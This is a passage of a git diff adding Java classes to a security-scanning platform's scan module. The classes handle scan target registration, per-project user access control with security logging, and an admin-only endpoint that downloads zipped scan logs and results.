} + + @Override + public int hashCode() { + return Objects.hash(identifier, inetAdress, type, uri); + } + + @Override + public boolean equals(Object obj) { + if (this == obj) + return true; + if (obj == null) + return false; + if (getClass() != obj.getClass()) + return false; + Target other = (Target) obj; + return Objects.equals(identifier, other.identifier) && Objects.equals(inetAdress, other.inetAdress) && type == other.type + && Objects.equals(uri, other.uri); + } + + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/TargetIdentifiyingOneInstallSetup.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/TargetIdentifiyingOneInstallSetup.java new file mode 100644 index 0000000000..3ac84cf098 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/TargetIdentifiyingOneInstallSetup.java @@ -0,0 +1,18 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +/** + * Setup where a product is installed only ONE time, but needs to differ between different targets at runtime + * @author Albert Tregnaghi + * + */ +public interface TargetIdentifiyingOneInstallSetup extends OneInstallSetup{ + + /** + * Support the identifier which is used by the one and only installation to provide access to different targets + * @param target + * @return identifier + */ + String getIdentifier(TargetType target); + +} \ No newline at end of file diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/TargetIdentifyingMultiInstallSetup.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/TargetIdentifyingMultiInstallSetup.java new file mode 100644 index 0000000000..c3f2011835 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/TargetIdentifyingMultiInstallSetup.java @@ -0,0 +1,39 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +/** + * Setup where a product is installed multiple times - target dependent. (E.g. for INTRANET there is another installation than for INTERNET) + * @author Albert Tregnaghi + * + */ +public interface TargetIdentifyingMultiInstallSetup extends InstallSetup{ + + /** + * Get base url for given target type + * @param type + * @return base url + */ + String getBaseURL(TargetType type); + + /** + * Get user id for login at product suitable for target type + * @param type + * @return + */ + String getUserId(TargetType type); + + /** + * Get password for login at product suitable for target type + * @param type + * @return + */ + String getPassword(TargetType target); + + + /** + * Returns true when installation has not a certificate from a wellknown CA + * @return true when having untrusted certificate + */ + boolean isHavingUntrustedCertificate(TargetType target); + +} \ No newline at end of file diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/TargetRegistry.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/TargetRegistry.java new file mode 100644 index 0000000000..901bddcc47 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/TargetRegistry.java @@ -0,0 +1,155 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +import static com.daimler.sechub.sharedkernel.util.Assert.*; + +import java.net.InetAddress; +import java.net.URI; +import java.util.ArrayList; +import java.util.Collections; +import java.util.EnumMap; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; + +/** + * Target registry is a data container object used by product executors.
    + * It is created on execution time and filled up with conifguration data. + *
    + * After fill up the target will be registered and target registry info can + * be fetched, which contains runtime information. + * @author Albert Tregnaghi + * + */ +public class TargetRegistry { + + private Map> map = new EnumMap<>(TargetType.class); + + public TargetRegistry() { + + } + + /** + * Register given target which shall be scanned by product exececutor + * (if type is supported...) + * @param target + */ + public void register(Target target) { + notNull(target, "target may not be null!"); + + TargetType type = target.getType(); + notNull(type, "target type may not be null!"); + + List list = getListFor(type); + list.add(target); + } + + /** + * Creates a registry info containing results for given target type. + * (info will resolve IPs,URLs etc.) + * @param type + * @return + */ + public TargetRegistryInfo createRegistryInfo(TargetType type) { + return new TargetRegistryInfo(type); + } + + + /** + * @param type + * @return unmodifiable list for given target type, never null + */ + public List getTargetsFor(TargetType type){ + notNull(type, "given type may not be null!"); + + List list = getListFor(type); + return Collections.unmodifiableList(list); + } + + List getListFor(TargetType type) { + return map.computeIfAbsent(type, k-> new ArrayList<>()); + } + + /** + * Represents target registry execution information. + * @author Albert Tregnaghi + * + */ + public class TargetRegistryInfo { + + private TargetType type; + + private TargetRegistryInfo(TargetType type) { + notNull(type, "type may not be null!"); + + this.type = type; + } + + /** + * Returns a set for target URIs for this kind of {@link TargetType} + * + * @return set, never null + */ + public Set getURIs() { + List list = TargetRegistry.this.getTargetsFor(type); + Set uris = new LinkedHashSet<>(); + for (Target target : list) { + URI uri = target.getUrl(); + if (uri != null) { + uris.add(uri); + } + } + return uris; + } + + /** + * @return a set, never null containing all system folder pathes used for code upload, or an empty list + */ + public Set getCodeUploadFileSystemFolders() { + List list = TargetRegistry.this.getTargetsFor(type); + Set identifiers = new LinkedHashSet<>(); + for (Target target : list) { + String identifier=target.getIdentifierWithoutPrefix(); + if (identifier!=null) { + identifiers.add(identifier); + } + } + return identifiers; + } + + public Set getIPs() { + List list = TargetRegistry.this.getTargetsFor(type); + Set inetAdresses = new LinkedHashSet<>(); + for (Target target : list) { + InetAddress uri = target.getInetAdress(); + if (uri != null) { + inetAdresses.add(uri); + } + } + return inetAdresses; + } + + /** + * @return the {@link TargetType} for this scan + */ + public TargetType getTargetType() { + return type; + } + + /** + * + * @return true when at least one acceptable target exists + * matching the configuration of the product. + */ + public boolean containsAtLeastOneTarget() { + boolean containsAtLeastOneTarget = !getURIs().isEmpty(); + containsAtLeastOneTarget = containsAtLeastOneTarget || !getIPs().isEmpty(); + containsAtLeastOneTarget = containsAtLeastOneTarget || !getCodeUploadFileSystemFolders().isEmpty(); + return containsAtLeastOneTarget; + } + + + } + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/TargetType.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/TargetType.java new file mode 100644 index 0000000000..bf3e19b79e --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/TargetType.java @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +public enum TargetType { + + /** + * Target is an URL/IP available from INTRANET + */ + INTRANET(true), + + /** + * Target is an URL/IP available from INTERNET + */ + INTERNET(true), + + /** + * Uploaded code + */ + CODE_UPLOAD(true), + + /** + * An illegal target, e.g. "localhost", "127.0.0.0" + */ + ILLEGAL(false), + + /** + * Just an unidentifiable target + */ + UNKNOWN(false); + + private boolean valid; + + private TargetType(boolean valid) { + this.valid=valid; + } + + /** + * @return true when this is a valid target type, means + * with this target type a scan can generally be executed (but still + * dependent on the product) + */ + public boolean isValid() { + return valid; + } + + public boolean isIntranet() { + return TargetType.INTRANET.equals(this); + } + + public boolean isInternet() { + return TargetType.INTERNET.equals(this); + } + + public boolean isCodeUpload() { + return TargetType.CODE_UPLOAD.equals(this); + } + + /** + * @return an identifier prefix for the target type + */ + public String getIdentifierPrefix() { + return name().toLowerCase()+"://"; + } + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/access/ScanAccess.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/access/ScanAccess.java new file mode 100644 index 0000000000..448006d62d --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/access/ScanAccess.java @@ -0,0 +1,159 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.access; + +import java.io.Serializable; + +import javax.persistence.Column; +import javax.persistence.Embeddable; +import javax.persistence.EmbeddedId; +import javax.persistence.Entity; +import javax.persistence.Table; +import javax.persistence.Version; + +/** + * This entity represents only the access for users to a project. + * As long as there are is no tupel (user + project) the access is forbidden or + * project does not exist. Even an administrator must be added as user. So access + * is always auditable etc. and we got also no jobs without a correct owner! + * + * @author Albert Tregnaghi + * + */ +@Entity +@Table(name = ScanAccess.TABLE_NAME) +public class ScanAccess { + + /* +-----------------------------------------------------------------------+ */ + /* +............................ SQL ......................................+ */ + /* +-----------------------------------------------------------------------+ */ + public static final String TABLE_NAME = "SCAN_ACCESS"; + + public static final String COLUMN_PROJECT_ID = "PROJECT_ID"; + public static final String COLUMN_USER_ID = "USER_ID"; + + /* +-----------------------------------------------------------------------+ */ + /* +............................ JPQL .....................................+ */ + /* +-----------------------------------------------------------------------+ */ + public static final String CLASS_NAME = ScanAccess.class.getSimpleName(); + + @EmbeddedId + private ProjectAccessCompositeKey key; + + @Version + @Column(name = "VERSION") + Integer version; + + ScanAccess() { + // jpa only + } + + public ScanAccess(String userId, String projectId) { + this(new ProjectAccessCompositeKey(userId, projectId)); + } + + public ScanAccess(ProjectAccessCompositeKey key) { + if (key==null) { + throw new IllegalArgumentException("key may not be null"); + } + if (key.projectId==null) { + throw new IllegalArgumentException("key.projectId may not be null"); + } + this.key=key; + } + + public ProjectAccessCompositeKey getKey() { + return key; + } + + @Embeddable + public static class ProjectAccessCompositeKey implements Serializable { + + private static final long serialVersionUID = 8753389792382752253L; + + @Column(name = COLUMN_PROJECT_ID, nullable = false) + private String projectId; + + @Column(name = COLUMN_USER_ID, nullable = false) + private String userId; + + ProjectAccessCompositeKey() { + // jpa only + } + public ProjectAccessCompositeKey(String userId, String projectId) { + this.userId = userId; + this.projectId = projectId; + } + + public String getUserId() { + return userId; + } + + public void setUserId(String userId) { + this.userId = userId; + } + + public String getProjectId() { + return projectId; + } + + public void setProjectId(String projectId) { + this.projectId = projectId; + } + @Override + public int hashCode() { + final int prime = 31; + int result = 1; + result = prime * result + ((projectId == null) ? 0 : projectId.hashCode()); + result = prime * result + ((userId == null) ? 0 : userId.hashCode()); + return result; + } + @Override + public boolean equals(Object obj) { + if (this == obj) + return true; + if (obj == null) + return false; + if (getClass() != obj.getClass()) + return false; + ProjectAccessCompositeKey other = (ProjectAccessCompositeKey) obj; + if (projectId == null) { + if (other.projectId != null) + return false; + } else if (!projectId.equals(other.projectId)) + return false; + if (userId == null) { + if (other.userId != null) + return false; + } else if (!userId.equals(other.userId)) + return false; + return true; + } + } + + @Override + public int hashCode() { + final int prime = 31; + int result = 1; + result = prime * result + ((key == null) ? 0 : key.hashCode()); + return result; + } + + @Override + public boolean equals(Object obj) { + if (this == obj) + return true; + if (obj == null) + return false; + if (getClass() != obj.getClass()) + return false; + ScanAccess other = (ScanAccess) obj; + if (key == null) { + if (other.key != null) + return false; + } else if (!key.equals(other.key)) { + return false; + } + return true; + } + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/access/ScanAccessRepository.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/access/ScanAccessRepository.java new file mode 100644 index 0000000000..24cedfa730 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/access/ScanAccessRepository.java @@ -0,0 +1,17 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.access; + +import static com.daimler.sechub.domain.scan.access.ScanAccess.*; + +import org.springframework.data.jpa.repository.JpaRepository; +import org.springframework.data.jpa.repository.Modifying; +import org.springframework.data.jpa.repository.Query; + +import com.daimler.sechub.domain.scan.access.ScanAccess.ProjectAccessCompositeKey; + +public interface ScanAccessRepository extends JpaRepository { + + @Modifying + @Query(value="DELETE FROM "+TABLE_NAME+" where "+COLUMN_USER_ID+" = ?1",nativeQuery=true) + public void deleteAcessForUserAtAll(String userId); +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/access/ScanGrantUserAccessToProjectService.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/access/ScanGrantUserAccessToProjectService.java new file mode 100644 index 0000000000..0f670bf038 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/access/ScanGrantUserAccessToProjectService.java @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.access; + +import java.util.Optional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorAssignsUserToProject; + +@Service +public class ScanGrantUserAccessToProjectService { + + + + private static final Logger LOG = LoggerFactory.getLogger(ScanGrantUserAccessToProjectService.class); + + + @Autowired + ScanAccessRepository repository; + + @UseCaseAdministratorAssignsUserToProject(@Step(number=3,name="Update scan authorization parts")) + public void grantUserAccessToProject(String userId, String projectId) { + ScanAccess scanAccess = new ScanAccess(userId,projectId); + Optional potentialAlreadyFound = repository.findById(scanAccess.getKey()); + if (potentialAlreadyFound.isPresent()) { + LOG.debug("User {} has already acces to {} so skipped",userId,projectId); + return; + } + repository.save(scanAccess); + LOG.debug("User {} has now gained acces to {}d",userId,projectId); + } + + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/access/ScanRevokeUserAccessAtAllService.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/access/ScanRevokeUserAccessAtAllService.java new file mode 100644 index 0000000000..4082ee4a13 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/access/ScanRevokeUserAccessAtAllService.java @@ -0,0 +1,32 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.access; + +import javax.transaction.Transactional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorDeletesUser; + +@Service +public class ScanRevokeUserAccessAtAllService { + + private static final Logger LOG = LoggerFactory.getLogger(ScanRevokeUserAccessAtAllService.class); + + + @Autowired + ScanAccessRepository repository; + + @Transactional + @UseCaseAdministratorDeletesUser(@Step(number=3,name="revoke user from schedule access")) + public void revokeUserAccess(String userId) { + repository.deleteAcessForUserAtAll(userId); + + LOG.info("Revoked access at all for user:{}",userId); + } + + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/access/ScanRevokeUserAccessFromProjectService.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/access/ScanRevokeUserAccessFromProjectService.java new file mode 100644 index 0000000000..93f66b662c --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/access/ScanRevokeUserAccessFromProjectService.java @@ -0,0 +1,30 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.access; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.scan.access.ScanAccess.ProjectAccessCompositeKey; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorUnassignsUserFromProject; + +@Service +public class ScanRevokeUserAccessFromProjectService { + + private static final Logger LOG = LoggerFactory.getLogger(ScanRevokeUserAccessFromProjectService.class); + + @Autowired + ScanAccessRepository repository; + + @UseCaseAdministratorUnassignsUserFromProject(@Step(number=2,name="Update authorization parts")) + public void revokeUserAccessFromProject(String userId, String projectId) { + ProjectAccessCompositeKey id = new ProjectAccessCompositeKey(userId, projectId); + repository.deleteById(id); + + LOG.info("Revoked access to project:{} for user:{}",projectId,userId); + } + + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/access/ScanUserAccessToProjectValidationService.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/access/ScanUserAccessToProjectValidationService.java new file mode 100644 index 0000000000..b510a91c06 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/access/ScanUserAccessToProjectValidationService.java @@ -0,0 +1,48 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.access; + +import java.util.Optional; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.scan.access.ScanAccess.ProjectAccessCompositeKey; +import com.daimler.sechub.sharedkernel.UserContextService; +import com.daimler.sechub.sharedkernel.error.NotFoundException; +import com.daimler.sechub.sharedkernel.logging.SecurityLogService; +import com.daimler.sechub.sharedkernel.logging.SecurityLogType; + +@Service +public class ScanUserAccessToProjectValidationService { + + @Autowired + ScanAccessRepository accessRepository; + + @Autowired + UserContextService userContextService; + + @Autowired + SecurityLogService securityLogService; + + /** + * Assert user logged in has access to project + * @param projectId + */ + public void assertUserHasAccessToProject(String projectId) { + if (userContextService.isSuperAdmin()) { + /* a super admin has always access */ + return; + } + String userId = userContextService.getUserId(); + + ProjectAccessCompositeKey key = new ProjectAccessCompositeKey(userId, projectId); + Optional project = accessRepository.findById(key); + if (!project.isPresent()) { + securityLogService.log(SecurityLogType.POTENTIAL_INTRUSION, "Denied user access in domain 'scan'. userId={},projectId={}",userId,projectId); + // we say "... or you have no access - just to obfuscate... so it's not clear to + // bad guys they got a target... + throw new NotFoundException("Project " + projectId + " does not exist, or you have no access."); + } + } + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/admin/FullScanData.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/admin/FullScanData.java new file mode 100644 index 0000000000..11a5a96e7c --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/admin/FullScanData.java @@ -0,0 +1,17 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.admin; + +import java.util.ArrayList; +import java.util.List; +import java.util.UUID; + +import com.daimler.sechub.domain.scan.log.ProjectScanLog; + +public class FullScanData { + + public UUID sechubJobUUID; + + public List allScanLogs = new ArrayList<>(); + + public List allScanData = new ArrayList<>(); +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/admin/FullScanDataRestController.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/admin/FullScanDataRestController.java new file mode 100644 index 0000000000..22837022be --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/admin/FullScanDataRestController.java @@ -0,0 +1,68 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.admin; + +import java.io.IOException; +import java.io.OutputStream; +import java.util.UUID; + +import javax.annotation.security.RolesAllowed; +import javax.servlet.http.HttpServletResponse; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.RestController; + +import com.daimler.sechub.sharedkernel.APIConstants; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.error.NotFoundException; +import com.daimler.sechub.sharedkernel.logging.AuditLogService; +import com.daimler.sechub.sharedkernel.usecases.admin.project.UseCaseAdministratorDownloadsFullScanDataForJob; + +@RestController +@EnableAutoConfiguration +@RequestMapping(APIConstants.API_ADMINISTRATION) +@RolesAllowed({RoleConstants.ROLE_SUPERADMIN}) +public class FullScanDataRestController { + + private static final Logger LOG = LoggerFactory.getLogger(FullScanDataRestController.class); + + @Autowired + FullScanDataService fullScanDataService; + + @Autowired + AuditLogService auditLogService; + + /* @formatter:off */ + @UseCaseAdministratorDownloadsFullScanDataForJob(@Step(number=1,next=2,name="REST API call to zip file containing full scan data",needsRestDoc=true)) + @RequestMapping(path = "/scan/download/{sechubJobUUID}", method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + public void getFullScanZipFileForJob( + @PathVariable("sechubJobUUID") UUID sechubJobUUID, HttpServletResponse response + ) { + /* @formatter:on */ + + response.setContentType("application/zip"); + response.setHeader("Content-Disposition", "attachment; filename=full_scandata_"+sechubJobUUID.toString()+".zip"); + + FullScanData fullScanData = fullScanDataService.getFullScanData(sechubJobUUID); + + try (OutputStream outputStream= response.getOutputStream()) { + FullScanDataToZipOutputSupport support = new FullScanDataToZipOutputSupport(); + support.writeScanData(fullScanData, outputStream); + } catch (IOException e) { + LOG.error("Was not able to provide zip file for full scan data of {}",sechubJobUUID, e); + throw new NotFoundException("Was not able to support zip file, see logs for details"); + } + auditLogService.log("Is Downloading full scan logs for sechub job {}", sechubJobUUID); + } + + + + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/admin/FullScanDataService.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/admin/FullScanDataService.java new file mode 100644 index 0000000000..d2973cb5b8 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/admin/FullScanDataService.java @@ -0,0 +1,55 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.admin; + +import java.util.List; +import java.util.UUID; + +import javax.annotation.security.RolesAllowed; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.scan.log.ProjectScanLog; +import com.daimler.sechub.domain.scan.log.ProjectScanLogService; +import com.daimler.sechub.domain.scan.product.ProductResult; +import com.daimler.sechub.domain.scan.product.ProductResultService; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.admin.project.UseCaseAdministratorDownloadsFullScanDataForJob; + +@Service +@RolesAllowed(RoleConstants.ROLE_SUPERADMIN) +public class FullScanDataService { + + private static final Logger LOG = LoggerFactory.getLogger(FullScanDataService.class); + + @Autowired + ProjectScanLogService projectScanLogService; + + @Autowired + ProductResultService productResultService; + + @UseCaseAdministratorDownloadsFullScanDataForJob(@Step(number=2, name="Collect all scan data")) + public FullScanData getFullScanData(UUID sechubJobUUID) { + LOG.debug("Start getting full scan data for {}",sechubJobUUID); + + FullScanData data = new FullScanData(); + data.sechubJobUUID=sechubJobUUID; + + List logs = projectScanLogService.fetchLogsForJob(sechubJobUUID); + data.allScanLogs.addAll(logs); + + List results = productResultService.fetchAllResultsForJob(sechubJobUUID); + for (ProductResult result:results) { + ScanData d = new ScanData(); + d.productId=result.getProductIdentifier().toString(); + d.result=result.getResult(); + + data.allScanData.add(d); + } + return data; + } + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/admin/FullScanDataToZipOutputSupport.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/admin/FullScanDataToZipOutputSupport.java new file mode 100644 index 0000000000..ba123f4817 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/admin/FullScanDataToZipOutputSupport.java @@ -0,0 +1,60 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.admin; + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.OutputStream; +import java.io.UnsupportedEncodingException; +import java.util.ArrayList; +import java.util.List; +import java.util.zip.ZipEntry; +import java.util.zip.ZipOutputStream; + +import org.springframework.util.StreamUtils; + +import com.daimler.sechub.domain.scan.log.ProjectScanLog; + +public class FullScanDataToZipOutputSupport { + + public void writeScanData(FullScanData data, OutputStream outputStream) throws IOException{ + List fileNamesAlreadyUsed = new ArrayList<>(); + + try (ZipOutputStream zippedOut = new ZipOutputStream(outputStream)) { + for (ProjectScanLog log: data.allScanLogs) { + writeStringAsZipFileEntry(zippedOut, log.toString(), "log_"+log.getUUID(),fileNamesAlreadyUsed); + } + for (ScanData sd: data.allScanData) { + writeStringAsZipFileEntry(zippedOut, sd.result, sd.productId,fileNamesAlreadyUsed); + } + zippedOut.closeEntry(); + zippedOut.finish(); + } + } + + private void writeStringAsZipFileEntry(ZipOutputStream zippedOut, String string, String wantedFileName, List fileNamesAlreadyUsed) throws UnsupportedEncodingException, IOException { + /* prevent duplicated filenames*/ + String fileName=wantedFileName; + int index=0; + while (fileNamesAlreadyUsed.contains(fileName)) { + index++; + fileName=wantedFileName+"["+index+"]"; + } + fileNamesAlreadyUsed.add(fileName); + + String fileEnding="txt"; + if (string.startsWith("{")) { + fileEnding="json"; + }else if (string.startsWith("<")) { + fileEnding="xml"; + } + byte[] asArray = string.getBytes("UTF-8"); + ByteArrayInputStream bais = new ByteArrayInputStream(asArray); + + ZipEntry e = new ZipEntry(fileName+"."+fileEnding); + e.setSize(asArray.length); + e.setTime(System.currentTimeMillis()); + zippedOut.putNextEntry(e); + + StreamUtils.copy(bais, zippedOut); + } +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/admin/ScanData.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/admin/ScanData.java new file mode 100644 index 0000000000..79eeb95314 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/admin/ScanData.java @@ -0,0 +1,9 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.admin; + +public class ScanData { + + public String productId; + + public String result; +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/log/ProjectScanLog.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/log/ProjectScanLog.java new file mode 100644 index 0000000000..ae13d3717c --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/log/ProjectScanLog.java @@ -0,0 +1,162 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.log; + +import java.time.LocalDateTime; +import java.util.Objects; +import java.util.UUID; + +import javax.persistence.Column; +import javax.persistence.Entity; +import javax.persistence.GeneratedValue; +import javax.persistence.Id; +import javax.persistence.Table; +import javax.persistence.Version; + +import org.hibernate.annotations.GenericGenerator; +import org.hibernate.annotations.Type; + +/** + * Represents a mapping between a scan, job and and job configuration. So its an + * INTERNAL information + * + * @author Albert Tregnaghi + * + */ +@Entity +@Table(name = ProjectScanLog.TABLE_NAME) +public class ProjectScanLog { + + /* +-----------------------------------------------------------------------+ */ + /* +............................ SQL ......................................+ */ + /* +-----------------------------------------------------------------------+ */ + public static final String TABLE_NAME = "SCAN_PROJECT_LOG"; + + public static final String COLUMN_UUID = "UUID"; + public static final String COLUMN_PROJECTID = "PROJECT_ID"; + public static final String COLUMN_EXECUTED_BY = "EXECUTED_BY"; + public static final String COLUMN_SECHUB_JOB_UUID = "SECHUB_JOB_UUID"; + public static final String COLUMN_CONFIG = "CONFIG"; + public static final String COLUMN_STATUS = "STATUS"; + + public static final String COLUMN_STARTED = "STARTED"; + public static final String COLUMN_ENDED = "ENDED"; + /* +-----------------------------------------------------------------------+ */ + /* +............................ JPQL .....................................+ */ + /* +-----------------------------------------------------------------------+ */ + public static final String CLASS_NAME = ProjectScanLog.class.getSimpleName(); + + public static final String PROPERTY_UUID = "uuid"; + public static final String PROPERTY_SECHUB_JOB_UUID = "sechubJobUUID"; + public static final String PROPERTY_EXECUTED_BY = "executedBy"; + public static final String PROPERTY_PROJECT_ID = "projectId"; + public static final String PROPERTY_STARTED = "started"; + public static final String PROPERTY_ENDED = "ended"; + public static final String PROPERTY_STATUS = "status"; + + public static final String STATUS_STARTED = "STARTED"; + public static final String STATUS_OK = "OK"; + public static final String STATUS_FAILED = "FAILED"; + + @Id + @GeneratedValue(generator = "UUID") + @GenericGenerator(name = "UUID", strategy = "org.hibernate.id.UUIDGenerator") + @Column(name = COLUMN_UUID, updatable = false, nullable = false) + UUID uUID; + + @Column(name = COLUMN_EXECUTED_BY) + String executedBy; + + @Column(name = COLUMN_PROJECTID, nullable = false) + String projectId; + + @Column(name = COLUMN_SECHUB_JOB_UUID, nullable = false) + UUID sechubJobUUID; + + @Type(type = "text") + @Column(name = COLUMN_CONFIG) + String config; + + @Column(name = COLUMN_STATUS) + String status; + + @Version + @Column(name = "VERSION") + Integer version; + + @Column(name = COLUMN_STARTED) // remark: we setup hibernate to use UTC settings - see application.properties + LocalDateTime started; + + @Column(name = COLUMN_ENDED) // remark: we setup hibernate to use UTC settings - see application.properties + LocalDateTime ended; + + ProjectScanLog() { + // jpa only + } + + public ProjectScanLog(String projectId, UUID sechubJobUUID, String executedBy, String config) { + this.projectId = projectId; + this.sechubJobUUID = sechubJobUUID; + this.executedBy = executedBy; + this.config = config; + + this.started = LocalDateTime.now(); + } + + public void setStatus(String status) { + this.status = status; + } + + public String getConfig() { + return config; + } + + public LocalDateTime getStarted() { + return started; + } + + public void setEnded(LocalDateTime ended) { + this.ended = ended; + } + + public LocalDateTime getEnded() { + return ended; + } + + public UUID getUUID() { + return uUID; + } + + public UUID getSechubJobUUID() { + return sechubJobUUID; + } + + public String getExecutedBy() { + return executedBy; + } + + @Override + public int hashCode() { + return Objects.hash(config, ended, executedBy, projectId, sechubJobUUID, started, uUID, version); + } + + @Override + public boolean equals(Object obj) { + if (this == obj) + return true; + if (obj == null) + return false; + if (getClass() != obj.getClass()) + return false; + ProjectScanLog other = (ProjectScanLog) obj; + return Objects.equals(config, other.config) && Objects.equals(ended, other.ended) && Objects.equals(executedBy, other.executedBy) + && Objects.equals(projectId, other.projectId) && Objects.equals(sechubJobUUID, other.sechubJobUUID) && Objects.equals(started, other.started) + && Objects.equals(uUID, other.uUID) && Objects.equals(version, other.version); + } + + @Override + public String toString() { + return "ProjectScanLog [\nuUID=" + uUID + ", \nexecutedBy=" + executedBy + ", \nprojectId=" + projectId + ", \nsechubJobUUID=" + sechubJobUUID + + ", \nstatus=" + status + ", \nstarted=" + started + ", \nended=" + ended + ", \nconfig=" + config + "\n]"; + } + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/log/ProjectScanLogRepository.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/log/ProjectScanLogRepository.java new file mode 100644 index 0000000000..0d514f7202 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/log/ProjectScanLogRepository.java @@ -0,0 +1,10 @@ +// SPDX-License-Identifier: MIT +package 